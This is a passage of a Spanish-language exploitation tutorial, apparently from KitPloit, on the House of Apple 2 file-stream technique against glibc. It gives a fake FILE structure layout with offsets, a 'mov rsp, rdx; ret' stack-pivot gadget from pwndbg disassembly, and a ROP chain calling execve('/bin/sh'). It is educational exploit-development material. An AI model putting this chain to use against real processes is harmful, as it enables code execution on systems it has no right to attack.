Tanto `RDI` como `RDX` apuntan al inicio de la estructura `FILE` controlada. No controlamos directamente el primer y tercer registro de argumentos, pero controlamos la memoria a la que apuntan. ¡Genial!

## Construyendo la primitiva

La primitiva está implementada en [`./exp/house_of_apple2.py`](https://github.com/jazho76/house_of_apple_2/blob/main/exp/house_of_apple2.py). El enfoque directo sería colocar un `_IO_FILE_plus` completo, un `_IO_wide_data` completo y una vtable wide falsa separada uno tras otro. Eso funcionaría, pero también requeriría un búfer bastante grande.

Podemos hacer el payload más pequeño superponiéndolos.

El `_IO_wide_data` falso comienza en el desplazamiento `0x08`, dentro del `_IO_FILE_plus` falso. Esto funciona porque la mayoría de los campos involucrados en la superposición pueden permanecer en cero. Convenientemente, `_wide_data->_IO_write_base` y `_wide_data->_IO_buf_base` se superponen con `_IO_write_base` y `_IO_buf_base` en la estructura `FILE`, y ambos pares necesitan ser `NULL`.

Las partes importantes del diseño son:

| Desplazamiento del payload | Interpretación de `_IO_FILE_plus` | Interpretación de `_IO_wide_data`    | Valor                                            |
| -------------: | ------------------------------ | --------------------------------- | ------------------------------------------------ |
|         `0x00` | `_flags`                       | -                                 | No debe establecer `_IO_NO_WRITES` ni `_IO_UNBUFFERED` |
|         `0x08` | `_IO_read_ptr`                 | Inicio del `_IO_wide_data` falso     | Cero                                             |
|         `0x20` | `_IO_write_base`               | `_IO_write_base`                  | `NULL`                                           |
|         `0x38` | `_IO_buf_base`                 | `_IO_buf_base`                    | `NULL`                                           |
|         `0x78` | `_old_offset`                  | Inicio de la vtable wide falsa     | Datos de vtable superpuestos                           |
|         `0x88` | `_lock`                        | -                                 | Puntero a un valor cero en memoria escribible       |
|         `0xa0` | `_wide_data`                   | -                                 | `base + 0x08`                                    |
|         `0xd8` | vtable de `_IO_FILE_plus`         | -                                 | Posición que despacha a `_IO_wfile_overflow` |
|         `0xe0` | -                              | Entrada de vtable wide falsa en `+0x68` | Dirección de la función arbitraria                |
|         `0xe8` | -                              | `_wide_vtable`                    | `base + 0x78`                                    |

Las dos últimas entradas son la clave para la llamada arbitraria. `_wide_vtable` apunta de vuelta al payload en el desplazamiento `0x78`. Cuando `_IO_wdoallocbuf` despacha a través de `_wide_vtable + 0x68`, lee el puntero de función almacenado en el desplazamiento `0xe0`:```text
wide_vtable       = base + 0x78
wide_vtable+0x68  = base + 0xe0

Aquí es donde colocamos la dirección de la función que queremos llamar.

La vtable externa depende de la operación utilizada para activar la primitiva. Para fwrite, el despacho ocurre a través del slot en +0x38, por lo que el puntero se ajusta hasta que ese slot resuelve a _IO_wfile_overflow. La implementación también soporta fread y fclose aplicando los desplazamientos de despacho correspondientes.

Con este diseño, un único búfer compacto contiene la estructura FILE falsa, los _IO_wide_data superpuestos, la vtable ancha falsa y el puntero de función final.

Pivoting de pila

En este punto tenemos una primitiva de llamada arbitraria, pero nuestro control sobre los registros es limitado. El siguiente paso es pivotar la pila hacia memoria controlada e iniciar una cadena ROP.

En __push___start_context+63 hay un gadget de pivoting de pila útil: mov rsp, rdx; ret.```asm pwndbg> disass __push___start_context Dump of assembler code for function __push___start_context: 0x00007f46729440d0 <+0>: endbr64 0x00007f46729440d4 <+4>: rdsspq rcx 0x00007f46729440d9 <+9>: mov rdx,rsp 0x00007f46729440dc <+12>: mov rsi,QWORD PTR [rdi+0xa0] 0x00007f46729440e3 <+19>: lea rsp,[rsi+0x8] 0x00007f46729440e7 <+23>: mov rsi,QWORD PTR [rdi+0x3b8] 0x00007f46729440ee <+30>: mov rax,QWORD PTR [rdi+0x3b0] 0x00007f46729440f5 <+37>: rstorssp QWORD PTR [rax+rsi*1-0x8] 0x00007f46729440fb <+43>: saveprevssp 0x00007f46729440ff <+47>: call 0x7f4672944106 <__push___start_context+54> 0x00007f4672944104 <+52>: jmp 0x7f4672944120 <__start_context> 0x00007f4672944106 <+54>: rstorssp QWORD PTR [rcx-0x8] 0x00007f467294410b <+59>: saveprevssp 0x00007f467294410f <+63>: mov rsp,rdx 0x00007f4672944112 <+66>: ret End of assembler dump.

root@kitploit:~
Ya sabemos que `RDX` apunta al comienzo de nuestra estructura `FILE` controlada en el momento de la llamada arbitraria. Si llamamos a este gadget, `RSP` se mueve directamente a nuestra estructura falsa y la ejecución continúa desde los valores almacenados allí. Eso debería darnos el inicio de una cadena ROP.

## ROP

Un detalle: la cadena ROP se superpone en memoria con la estructura `FILE` falsa, por lo que las restricciones de campos de `_IO_wdoallocbuf` siguen aplicándose. El primer qword se superpone con `_flags`, lo que significa que su valor no debe establecer `_IO_NO_WRITES` (`0x8`) ni `_IO_UNBUFFERED` (`0x2`). Por lo tanto, nuestro primer gadget necesita una dirección con esos bits en cero en su byte menos significativo.

El gadget `ret` en `_nl_archive_subfreeres+96` debería servir. En realidad no es una instrucción `ret` presente en el código original en ese límite, pero es un gadget válido a mitad de instrucción en esa dirección desplazada. Su byte menos significativo es `0x00`, por lo que colocar la dirección en `_flags` no establece `_IO_NO_WRITES` ni `_IO_UNBUFFERED`.```asm
pwndbg> tele 0x7f4672919d00 1
00:0000│     0x7f4672919d00 (_nl_archive_subfreeres+96) ◂— ret

Tenemos dos agujeros más en la cadena porque _IO_write_base y _IO_buf_base deben permanecer en NULL. Aun así podemos hacer útiles esos slots consumiéndolos como valores cero para los gadgets pop precedentes.

Finalmente, no podemos sobrescribir _lock, ubicado en el offset 0x88. Esto nos deja con 17 qwords para la cadena ROP inline, lo cual es más que suficiente para lograr el control total del proceso.

El diseño ROP en ./exp/ace.py es:``` 0x00: _nl_archive_subfreeres+96 # pointer to ret instruction # with least significant byte as 0x00 0x08: pop rdi gadget 0x10: "/bin/sh" string in libc 0x18: pop rsi gadget 0x20: 0x0000000000000000 # _IO_write_base as NULL 0x50: address to execve # call execve("/bin/sh", NULL)

root@kitploit:~
![14](https://assets.kitploit.com/production/public/readmes/56272/4a03fae3012721e96b1db4803bfa74b6d1279e27e5952a60228437ea8fc1ccf4/caabf1480a7ae14355e2e465334ae1f0c572069d804356e9952f20f6513f85a3-display-v1.webp)

Ahora hemos logrado la ejecución arbitraria de código.

## Lecturas adicionales

- [House of Apple: un nuevo método de ataque de E/S de glibc (2)](https://www.roderickchan.cn/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/), la publicación original de House of Apple 2 por Roderick.
- [`fsop-finder`](https://github.com/xf1les/fsop-finder), que identificó de forma independiente la ruta `_IO_wdoallocbuf` mientras exploraba rutas FSOP modernas.
- [Angry-FSROP](https://blog.kylebot.net/2022/10/22/angry-FSROP/), para un enfoque asistido por herramientas para encontrar rutas de flujo de control.
- [Deep Dive into FSOP](https://niftic.ca/posts/fsop/), para una cobertura más amplia de las interioridades de FILE, técnicas conocidas y otras rutas interesantes.

## Conclusión

House of Apple 2 muestra cómo una vtable válida de glibc puede alcanzar la maquinaria de caracteres anchos y despachar a través de una vtable secundaria no validada. La misma ruta sigue siendo reproducible en la compilación de glibc 2.43 utilizada por el sandbox. Aunque los diseños, desplazamientos y gadgets pueden cambiar entre compilaciones, la idea subyacente de flujo de control sigue aplicándose.
Descargar herramienta